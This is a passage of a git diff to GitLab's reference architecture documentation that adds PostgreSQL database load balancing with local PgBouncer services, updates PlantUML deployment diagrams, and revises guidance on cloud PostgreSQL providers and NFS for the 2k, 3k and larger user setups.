If you use a cloud-managed service, or provide your own PostgreSQL:
@@ -491,12 +515,25 @@ If you use a cloud-managed service, or provide your own PostgreSQL:
needs privileges to create the `gitlabhq_production` database.
1. Configure the GitLab application servers with the appropriate details.
This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails).
+1. For improved performance, configuring [Database Load Balancing](../postgresql/database_load_balancing.md)
+ with multiple read replicas is recommended.
See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for
further configuration steps.
### Standalone PostgreSQL using Omnibus GitLab
+The recommended Omnibus GitLab configuration for a PostgreSQL cluster with
+replication and failover requires:
+
+- A minimum of three PostgreSQL nodes.
+- A minimum of three Consul server nodes.
+- A minimum of three PgBouncer nodes that track and handle primary database reads and writes.
+ - An [internal load balancer](#configure-the-internal-load-balancer) (TCP) to balance requests between the PgBouncer nodes.
+- [Database Load Balancing](../postgresql/database_load_balancing.md) enabled.
+
+ A local PgBouncer service to be configured on each PostgreSQL node. Note that this is separate from the main PgBouncer cluster that tracks the primary.
+
The following IPs will be used as an example:
- `10.6.0.21`: PostgreSQL primary
@@ -551,8 +588,8 @@ in the second step, do not supply the `EXTERNAL_URL` value.
1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section:
```ruby
- # Disable all components except Patroni and Consul
- roles(['patroni_role'])
+ # Disable all components except Patroni, PgBouncer and Consul
+ roles(['patroni_role', 'pgbouncer_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -597,6 +634,15 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Replace 10.6.0.0/24 with Network Address
postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
+ # Local PgBouncer service for Database Load Balancing
+ pgbouncer['databases'] = {
+ gitlabhq_production: {
+ host: "127.0.0.1",
+ user: "pgbouncer",
+ password: '<pgbouncer_password_hash>'
+ }
+ }
+
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
postgres_exporter['listen_address'] = '0.0.0.0:9187'
@@ -657,9 +703,11 @@ If the 'State' column for any node doesn't say "running", check the
</a>
</div>
-## Configure PgBouncer
+### Configure PgBouncer
+
+Now that the PostgreSQL servers are all set up, let's configure PgBouncer
+for tracking and handling reads/writes to the primary database.
-Now that the PostgreSQL servers are all set up, let's configure PgBouncer.
The following IPs will be used as an example:
- `10.6.0.31`: PgBouncer 1
@@ -1222,7 +1270,14 @@ There are many third-party solutions for PostgreSQL HA. The solution selected mu
- A static IP for all connections that doesn't change on failover.
- [`LISTEN`](https://www.postgresql.org/docs/12/sql-listen.html) SQL functionality must be supported.
-Examples of the above could include [Google's Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) or [Amazon RDS](https://aws.amazon.com/rds/).
+NOTE:
+With a third-party setup, it's possible to colocate Praefect's database on the same server as
+the main [GitLab](#provide-your-own-postgresql-instance) database as a convenience unless
+you are using Geo, where separate database instances are required for handling replication correctly.
+In this setup, the specs of the main database setup shouldn't need to be changed as the impact should be
+minimal.
+
+A reputable provider or solution should be used for this. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61).
Once the database is set up, follow the [post configuration](#praefect-postgresql-post-configuration).
@@ -1677,8 +1732,8 @@ To configure the Sidekiq nodes, on each one:
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
- gitlab_rails['db_adapter'] = 'postgresql'
- gitlab_rails['db_encoding'] = 'unicode'
+ gitlab_rails['db_load_balancing'] = { 'hosts' => ['10.6.0.21', '10.6.0.22', '10.6.0.23'] } # PostgreSQL IPs
+
## Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -1805,6 +1860,8 @@ On each node perform the following:
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
+ gitlab_rails['db_load_balancing'] = { 'hosts' => ['10.6.0.21', '10.6.0.22', '10.6.0.23'] } # PostgreSQL IPs
+
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -2126,8 +2183,7 @@ cluster alongside your instance, read how to
## Configure NFS
[Object storage](#configure-the-object-storage), along with [Gitaly](#configure-gitaly)
-are recommended over NFS wherever possible for improved performance. If you intend
-to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pages-requires-nfs).
+are recommended over NFS wherever possible for improved performance.
See how to [configure NFS](../nfs.md).
@@ -2200,7 +2256,7 @@ services where applicable):
<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
<!-- markdownlint-disable MD029 -->
-1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and Amazon RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61). Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
4. Should be run on reputable third-party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
@@ -2212,16 +2268,16 @@ For all PaaS solutions that involve configuring instances, it is strongly recomm
```plantuml
@startuml 25k
+skinparam linetype ortho
card "Kubernetes via Helm Charts" as kubernetes {
card "**External Load Balancer**" as elb #6a9be7
together {
- collections "**Webservice** x7" as gitlab #32CD32
+ collections "**Webservice** x4" as gitlab #32CD32
collections "**Sidekiq** x4" as sidekiq #ff8dd1
}
- card "**Prometheus + Grafana**" as monitor #7FFFD4
card "**Supporting Services**" as support
}
@@ -2249,37 +2305,33 @@ card "Database" as database {
card "redis" as redis {
collections "**Redis Persistent** x3" as redis_persistent #FF6347
collections "**Redis Cache** x3" as redis_cache #FF6347
+
+ redis_cache -[hidden]-> redis_persistent
}
cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
-elb -[#6a9be7]-> monitor
+elb -[hidden]-> sidekiq
elb -[hidden]-> support
gitlab -[#32CD32]--> ilb
-gitlab -[#32CD32]-> object_storage
-gitlab -[#32CD32]---> redis
-gitlab -[hidden]--> consul
+gitlab -[#32CD32]r--> object_storage
+gitlab -[#32CD32,norank]----> redis
+gitlab -[#32CD32]----> database
sidekiq -[#ff8dd1]--> ilb
-sidekiq -[#ff8dd1]-> object_storage
-sidekiq -[#ff8dd1]---> redis
-sidekiq -[hidden]--> consul
-
-ilb -[#9370DB]-> gitaly_cluster
-ilb -[#9370DB]-> database
+sidekiq -[#ff8dd1]r--> object_storage
+sidekiq -[#ff8dd1,norank]----> redis
+sidekiq .[#ff8dd1]----> database
-consul .[#e76a9b]-> database
-consul .[#e76a9b]-> gitaly_cluster
-consul .[#e76a9b,norank]--> redis
+ilb -[#9370DB]--> gitaly_cluster
+ilb -[#9370DB]--> database
+ilb -[hidden,norank]--> redis
-monitor .[#7FFFD4]> consul
-monitor .[#7FFFD4]-> database
-monitor .[#7FFFD4]-> gitaly_cluster
-monitor .[#7FFFD4,norank]--> redis
-monitor .[#7FFFD4]> ilb
-monitor .[#7FFFD4,norank]u--> elb
+consul .[#e76a9b]--> database
+consul .[#e76a9b,norank]--> gitaly_cluster
+consul .[#e76a9b]--> redis
@enduml
```
diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md
index e619294704f..f72c0877ddb 100644
--- a/doc/administration/reference_architectures/2k_users.md
+++ b/doc/administration/reference_architectures/2k_users.md
@@ -13,6 +13,7 @@ For a full list of reference architectures, see
> - **Supported users (approximate):** 2,000
> - **High Availability:** No. For a highly-available environment, you can
> follow a modified [3K reference architecture](3k_users.md#supported-modifications-for-lower-user-counts-ha).
+> - **Estimated Costs:** [GCP](https://cloud.google.com/products/calculator#id=84d11491-d72a-493c-a16e-650931faa658)
> - **Cloud Native Hybrid:** [Yes](#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative)
> - **Performance tested daily with the [GitLab Performance Tool (GPT)](https://gitlab.com/gitlab-org/quality/performance)**:
> - **Test requests per second (RPS) rates:** API: 40 RPS, Web: 4 RPS, Git (Pull): 4 RPS, Git (Push): 1 RPS
@@ -27,10 +28,10 @@ For a full list of reference architectures, see
| GitLab Rails | 2 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` |
| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
| Object storage<sup>4</sup> | n/a | n/a | n/a | n/a | n/a |
-| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+| NFS server (non-Gitaly) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
<!-- markdownlint-disable MD029 -->
-1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and Amazon RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61). Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
2. Can be optionally run as reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
3. Can be optionally run as reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
4. Should be run on reputable third-party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
@@ -41,6 +42,8 @@ For all PaaS solutions that involve configuring instances, it is strongly recomm
```plantuml
@startuml 2k
+skinparam linetype ortho
+
card "**External Load Balancer**" as elb #6a9be7
collections "**GitLab Rails** x3" as gitlab #32CD32
@@ -67,17 +70,27 @@ monitor .[#7FFFD4,norank]u--> elb
@enduml
```
-The Google Cloud Platform (GCP) architectures were built and tested using the
+## Requirements
+
+Before starting, you should take note of the following requirements / guidance for this reference architecture.
+
+### Supported CPUs
+
+This reference architecture was built and tested on Google Cloud Platform (GCP) using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
or higher, are required for your CPU or node counts. For more information, see
our [Sysbench](https://github.com/akopytov/sysbench)-based
[CPU benchmarks](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks).
-Due to better performance and availability, for data objects (such as LFS,
-uploads, or artifacts), using an [object storage service](#configure-the-object-storage)
-is recommended instead of using NFS. Using an object storage service also
-doesn't require you to provision and maintain a node.
+### Supported infrastructure
+
+As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP, Azure) and their services, or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. However, this does not constitute a guarantee for every potential permutation.
+
+Be aware of the following specific call outs:
+
+- [Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/#:~:text=Azure%20Database%20for%20PostgreSQL%20is,high%20availability%2C%20and%20dynamic%20scalability.) is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to known performance issues or missing features.
+- [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/) is recommended to be configured with [Premium accounts](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blob-block-blob-premium) to ensure consistent performance.
## Setup components
@@ -100,8 +113,7 @@ To set up GitLab and its components to accommodate up to 2,000 users:
more advanced code search across your entire GitLab instance.
1. [Configure NFS](#configure-nfs-optional) (optional, and not recommended)
to have shared disk storage service as an alternative to Gitaly or object
- storage. You can skip this step if you're not using GitLab Pages (which
- requires NFS).
+ storage.
## Configure the external load balancer
@@ -232,8 +244,9 @@ to be used with GitLab.
### Provide your own PostgreSQL instance
If you're hosting GitLab on a cloud provider, you can optionally use a
-managed service for PostgreSQL. For example, AWS offers a managed relational
-database service (RDS) that runs PostgreSQL.
+managed service for PostgreSQL.
+
+A reputable provider or solution should be used for this. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61).
If you use a cloud-managed service, or provide your own PostgreSQL:
@@ -958,8 +971,7 @@ cluster alongside your instance, read how to
For improved performance, [object storage](#configure-the-object-storage),
along with [Gitaly](#configure-gitaly), are recommended over using NFS whenever
-possible. However, if you intend to use GitLab Pages,
-[you must use NFS](troubleshooting.md#gitlab-pages-requires-nfs).
+possible.
See how to [configure NFS](../nfs.md).
@@ -1028,7 +1040,7 @@ services where applicable):
<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
<!-- markdownlint-disable MD029 -->
-1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and Amazon RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61). Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
3. Should be run on reputable third-party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
<!-- markdownlint-enable MD029 -->
@@ -1038,6 +1050,7 @@ For all PaaS solutions that involve configuring instances, it is strongly recomm
```plantuml
@startuml 2k
+skinparam linetype ortho
card "Kubernetes via Helm Charts" as kubernetes {
card "**External Load Balancer**" as elb #6a9be7
@@ -1045,10 +1058,8 @@ card "Kubernetes via Helm Charts" as kubernetes {
together {
collections "**Webservice** x3" as gitlab #32CD32
collections "**Sidekiq** x2" as sidekiq #ff8dd1
+ card "**Supporting Services**" as support
}
-
- card "**Prometheus + Grafana**" as monitor #7FFFD4
- card "**Supporting Services**" as support
}
card "**Gitaly**" as gitaly #FF8C00
@@ -1057,7 +1068,6 @@ card "**Redis**" as redis #FF6347
cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
-elb -[#6a9be7]--> monitor
gitlab -[#32CD32]--> gitaly
gitlab -[#32CD32]--> postgres
@@ -1066,14 +1076,8 @@ gitlab -[#32CD32]--> redis
sidekiq -[#ff8dd1]--> gitaly
sidekiq -[#ff8dd1]-> object_storage
-sidekiq -[#ff8dd1]---> postgres
-sidekiq -[#ff8dd1]---> redis
-
-monitor .[#7FFFD4]u-> gitlab
-monitor .[#7FFFD4]-> gitaly
-monitor .[#7FFFD4]-> postgres
-monitor .[#7FFFD4,norank]--> redis
-monitor .[#7FFFD4,norank]u--> elb
+sidekiq -[#ff8dd1]--> postgres
+sidekiq -[#ff8dd1]--> redis
@enduml
```
diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md
index 9332ae8d271..c788a73753b 100644
--- a/doc/administration/reference_architectures/3k_users.md
+++ b/doc/administration/reference_architectures/3k_users.md
@@ -22,6 +22,7 @@ For a full list of reference architectures, see
> - **Supported users (approximate):** 3,000
> - **High Availability:** Yes, although [Praefect](#configure-praefect-postgresql) needs a third-party PostgreSQL solution
+> - **Estimated Costs:** [GCP](https://cloud.google.com/products/calculator/#id=ac4838e6-9c40-4a36-ac43-6d1bc1843e08)
> - **Cloud Native Hybrid Alternative:** [Yes](#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative)
> - **Performance tested weekly with the [GitLab Performance Tool (GPT)](https://gitlab.com/gitlab-org/quality/performance)**:
> - **Test requests per second (RPS) rates:** API: 60 RPS, Web: 6 RPS, Git (Pull): 6 RPS, Git (Push): 1 RPS
@@ -42,11 +43,11 @@ For a full list of reference architectures, see
| GitLab Rails | 3 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` |
| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
| Object storage<sup>4</sup> | n/a | n/a | n/a | n/a | n/a |
-| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+| NFS server (non-Gitaly) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
<!-- markdownlint-disable MD029 -->
-1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and Amazon RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61). Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
4. Should be run on reputable third-party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
@@ -58,6 +59,8 @@ For all PaaS solutions that involve configuring instances, it is strongly recomm
```plantuml
@startuml 3k
+skinparam linetype ortho
+
card "**External Load Balancer**" as elb #6a9be7
card "**Internal Load Balancer**" as ilb #9370DB
@@ -66,7 +69,10 @@ together {
collections "**Sidekiq** x4" as sidekiq #ff8dd1
}
-card "**Prometheus + Grafana**" as monitor #7FFFD4
+together {
+ card "**Prometheus + Grafana**" as monitor #7FFFD4
+ collections "**Consul** x3" as consul #e76a9b
+}
card "Gitaly Cluster" as gitaly_cluster {
collections "**Praefect** x3" as praefect #FF8C00
@@ -79,47 +85,45 @@ card "Gitaly Cluster" as gitaly_cluster {
card "Database" as database {
collections "**PGBouncer** x3" as pgbouncer #4EA7FF
- card "**PostgreSQL** (Primary)" as postgres_primary #4EA7FF
- collections "**PostgreSQL** (Secondary) x2" as postgres_secondary #4EA7FF
+ card "**PostgreSQL** //Primary//" as postgres_primary #4EA7FF
+ collections "**PostgreSQL** //Secondary// x2" as postgres_secondary #4EA7FF
pgbouncer -[#4EA7FF]-> postgres_primary
postgres_primary .[#4EA7FF]> postgres_secondary
}
-card "**Consul + Sentinel**" as consul_sentinel {
- collections "**Consul** x3" as consul #e76a9b
- collections "**Redis Sentinel** x3" as sentinel #e6e727
-}
-
card "Redis" as redis {
collections "**Redis** x3" as redis_nodes #FF6347
-
- redis_nodes <.[#FF6347]- sentinel
}
cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
-elb -[#6a9be7]--> monitor
+elb -[#6a9be7,norank]--> monitor
-gitlab -[#32CD32]--> ilb
-gitlab -[#32CD32]-> object_storage
-gitlab -[#32CD32]---> redis
+gitlab -[#32CD32,norank]--> ilb
+gitlab -[#32CD32]r-> object_storage
+gitlab -[#32CD32]----> redis
+gitlab .[#32CD32]----> database
gitlab -[hidden]-> monitor
gitlab -[hidden]-> consul
-sidekiq -[#ff8dd1]--> ilb
-sidekiq -[#ff8dd1]-> object_storage
-sidekiq -[#ff8dd1]---> redis
+sidekiq -[#ff8dd1,norank]--> ilb
+sidekiq -[#ff8dd1]r-> object_storage
+sidekiq -[#ff8dd1]----> redis
+sidekiq .[#ff8dd1]----> database
sidekiq -[hidden]-> monitor
sidekiq -[hidden]-> consul
-ilb -[#9370DB]-> gitaly_cluster
-ilb -[#9370DB]-> database
+ilb -[#9370DB]--> gitaly_cluster
+ilb -[#9370DB]--> database
+ilb -[hidden]--> redis
+ilb -[hidden]u-> consul
+ilb -[hidden]u-> monitor
consul .[#e76a9b]u-> gitlab
consul .[#e76a9b]u-> sidekiq
-consul .[#e76a9b]> monitor
+consul .[#e76a9b]r-> monitor
consul .[#e76a9b]-> database
consul .[#e76a9b]-> gitaly_cluster
consul .[#e76a9b,norank]--> redis
@@ -136,27 +140,34 @@ monitor .[#7FFFD4,norank]u--> elb
@enduml
```
-The Google Cloud Platform (GCP) architectures were built and tested using the
+## Requirements
+
+Before starting, you should take note of the following requirements / guidance for this reference architecture.
+
+### Supported CPUs
+
+This reference architecture was built and tested on Google Cloud Platform (GCP) using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
or higher, are required for your CPU or node counts. For more information, see
our [Sysbench](https://github.com/akopytov/sysbench)-based
[CPU benchmarks](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks).
-Due to better performance and availability, for data objects (such as LFS,
-uploads, or artifacts), using an [object storage service](#configure-the-object-storage)
-is recommended instead of using NFS. Using an object storage service also
-doesn't require you to provision and maintain a node.
+### Supported infrastructure
+
+As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP, Azure) and their services, or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. However, this does not constitute a guarantee for every potential permutation.
-[Praefect requires its own database server](../gitaly/praefect.md#postgresql),
-and a third-party PostgreSQL database solution is required to achieve full
-high availability. Although we hope to offer a built-in solution for these
-restrictions in the future, you can set up a non-HA PostgreSQL server by using
-Omnibus GitLab (which the previous specifications reflect). Refer to the
-following issues for more information:
+Be aware of the following specific call outs:
-- [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919)
-- [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398)
+- [Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/#:~:text=Azure%20Database%20for%20PostgreSQL%20is,high%20availability%2C%20and%20dynamic%20scalability.) is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to known performance issues or missing features.
+- [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/) is recommended to be configured with [Premium accounts](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blob-block-blob-premium) to ensure consistent performance.
+
+### Praefect PostgreSQL
+
+It's worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and
+that to achieve full High Availability a third-party PostgreSQL database solution will be required.
+We hope to offer a built in solutions for these restrictions in the future but in the meantime a non HA PostgreSQL server
+can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398).
## Setup components
@@ -184,8 +195,7 @@ To set up GitLab and its components to accommodate up to 3,000 users:
more advanced code search across your entire GitLab instance.
1. [Configure NFS](#configure-nfs-optional) (optional, and not recommended)
to have shared disk storage service as an alternative to Gitaly or object
- storage. You can skip this step if you're not using GitLab Pages (which
- requires NFS).
+ storage.
The servers start on the same 10.6.0.0/24 private network range, and can
connect to each other freely on these addresses.
@@ -769,14 +779,15 @@ run: sentinel: (pid 30098) 76832s; run: log: (pid 29704) 76850s
## Configure PostgreSQL
-In this section, you'll be guided through configuring an external PostgreSQL database
-to be used with GitLab.
+In this section, you'll be guided through configuring a highly available PostgreSQL
+cluster to be used with GitLab.
### Provide your own PostgreSQL instance
If you're hosting GitLab on a cloud provider, you can optionally use a
-managed service for PostgreSQL. For example, AWS offers a managed Relational
-Database Service (RDS) that runs PostgreSQL.
+managed service for PostgreSQL.
+
+A reputable provider or solution should be used for this. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61).
If you use a cloud-managed service, or provide your own PostgreSQL:
@@ -786,12 +797,25 @@ If you use a cloud-managed service, or provide your own PostgreSQL:
needs privileges to create the `gitlabhq_production` database.
1. Configure the GitLab application servers with the appropriate details.
This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails).
+1. For improved performance, configuring [Database Load Balancing](../postgresql/database_load_balancing.md)
+ with multiple read replicas is recommended.
See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for
further configuration steps.
### Standalone PostgreSQL using Omnibus GitLab
+The recommended Omnibus GitLab configuration for a PostgreSQL cluster with
+replication and failover requires:
+
+- A minimum of three PostgreSQL nodes.
+- A minimum of three Consul server nodes.
+- A minimum of three PgBouncer nodes that track and handle primary database reads and writes.
+ - An [internal load balancer](#configure-the-internal-load-balancer) (TCP) to balance requests between the PgBouncer nodes.
+- [Database Load Balancing](../postgresql/database_load_balancing.md) enabled.
+
+ A local PgBouncer service to be configured on each PostgreSQL node. Note that this is separate from the main PgBouncer cluster that tracks the primary.
+
The following IPs will be used as an example:
- `10.6.0.31`: PostgreSQL primary
@@ -846,8 +870,8 @@ in the second step, do not supply the `EXTERNAL_URL` value.
1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section:
```ruby
- # Disable all components except Patroni and Consul
- roles(['patroni_role'])
+ # Disable all components except Patroni, PgBouncer and Consul
+ roles(['patroni_role', 'pgbouncer_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -892,6 +916,15 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Replace 10.6.0.0/24 with Network Address
postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
+ # Local PgBouncer service for Database Load Balancing
+ pgbouncer['databases'] = {
+ gitlabhq_production: {
+ host: "127.0.0.1",
+ user: "pgbouncer",
+ password: '<pgbouncer_password_hash>'
+ }
+ }
+
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
postgres_exporter['listen_address'] = '0.0.0.0:9187'
@@ -952,9 +985,11 @@ If the 'State' column for any node doesn't say "running", check the
</a>
</div>
-## Configure PgBouncer
+### Configure PgBouncer
+
+Now that the PostgreSQL servers are all set up, let's configure PgBouncer
+for tracking and handling reads/writes to the primary database.
-Now that the PostgreSQL servers are all set up, let's configure PgBouncer.
The following IPs will be used as an example:
- `10.6.0.21`: PgBouncer 1
@@ -1175,7 +1210,14 @@ There are many third-party solutions for PostgreSQL HA. The solution selected mu
- A static IP for all connections that doesn't change on failover.
- [`LISTEN`](https://www.postgresql.org/docs/12/sql-listen.html) SQL functionality must be supported.
-Examples of the above could include [Google's Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) or [Amazon RDS](https://aws.amazon.com/rds/).
+NOTE:
+With a third-party setup, it's possible to colocate Praefect's database on the same server as
+the main [GitLab](#provide-your-own-postgresql-instance) database as a convenience unless
+you are using Geo, where separate database instances are required for handling replication correctly.
+In this setup, the specs of the main database setup shouldn't need to be changed as the impact should be
+minimal.
+
+A reputable provider or solution should be used for this. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61).
Once the database is set up, follow the [post configuration](#praefect-postgresql-post-configuration).
@@ -1613,8 +1655,8 @@ To configure the Sidekiq nodes, one each one:
